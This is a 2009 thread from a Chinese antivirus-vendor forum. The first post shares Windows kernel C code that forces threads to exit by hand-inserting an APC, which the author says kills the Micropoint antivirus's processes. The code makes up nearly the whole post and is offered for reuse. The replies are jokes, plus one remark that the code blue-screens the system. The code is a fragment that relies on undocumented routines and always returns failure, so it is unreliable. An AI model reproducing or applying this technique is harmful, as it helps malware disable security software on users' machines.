微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: [syfblog]一段插APC结束微点进程
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#1  [syfblog]一段插APC结束微点进程

syfblog
男, 13岁
火星

2009-08-15 20:57

寒假写的,可以结束微点等,要闪人了,留着没什么用.....

貌似可以超过Kernel Detective v1.3.0的进程结束

BOOLEAN TerminateThread(PETHREAD Thread)
{
PKTHREAD thread2;
PKAPC QueuedApc;
PKAPC_STATE ApcState;
    PKAPC Apc=NULL;
BOOLEAN blnSucceed=FALSE;
if (!MmIsAddressValid(Thread)) return FALSE; //error.
Apc=ExAllocatePool(NonPagedPool,sizeof(KAPC));
KeInitializeApc(Apc,
       Thread,
       OriginalApcEnvironment,
       ExitApcKernelRoutine,
       PspExitApcRundown,
       PspExitNormalApc,
       UserMode,
       0);
ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL);
thread2 = (PKTHREAD)Thread;
Apc->Inserted = TRUE;
Apc->SystemArgument2 = NULL;
Apc->SystemArgument1 = NULL;
Apc->ApcStateIndex = thread2->ApcStateIndex;
ApcState = thread2->ApcStatePointer[Apc->ApcStateIndex];     
thread2->ApcState.UserApcPending = TRUE;
ASSERT (Apc->Inserted == TRUE);
InsertTailList(&ApcState->ApcListHead[Apc -> ApcMode], &Apc->ApcListEntry);

ReadyThread(Thread);

return blnSucceed;

}
很古老吧!!!

MJ0011  2009-08-17 15:28 | 回复
太不稳定了。蓝死

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2009-8-18 09:50
查看资料  发送邮件  访问主页  发短消息   编辑帖子
littlefritz
版主

微点帮帮团团长


积分 3505
发帖 3502
注册 2009-5-23
来自 微点帮帮团
#2  

拜读,我用标准的英语朗读了一遍,不知所云~

※ ※ ※ 本文纯属【littlefritz】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

2009-8-18 10:21
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子
jackybaby
中级用户





积分 330
发帖 321
注册 2006-12-31
来自 sz
#3  

ls英文真好,还能读出来。嘿嘿

※ ※ ※ 本文纯属【jackybaby】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

微点+组策略,不知毒滋味。
2009-8-18 10:24
查看资料  发送邮件  发短消息   编辑帖子
HomeSGerMine
银牌会员

■■微点护卫队队长■■


积分 4888
发帖 4785
注册 2009-3-8
来自 哪里有微点,哪里就有我
#4  

计算机语言可以用英语读出来...2楼的牛逼...

※ ※ ※ 本文纯属【HomeSGerMine】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

东方之荣耀,  中华之微点!---Micropint
2009-8-18 14:13
查看资料  发送邮件  发短消息  QQ   编辑帖子
微点专家
版主

Weizi


积分 11554
发帖 11458
注册 2006-8-27
来自 贵阳
#5  

这种是需要  波斯语 才能读出来的

※ ※ ※ 本文纯属【微点专家】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

做个性的自己
2009-8-18 15:03
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号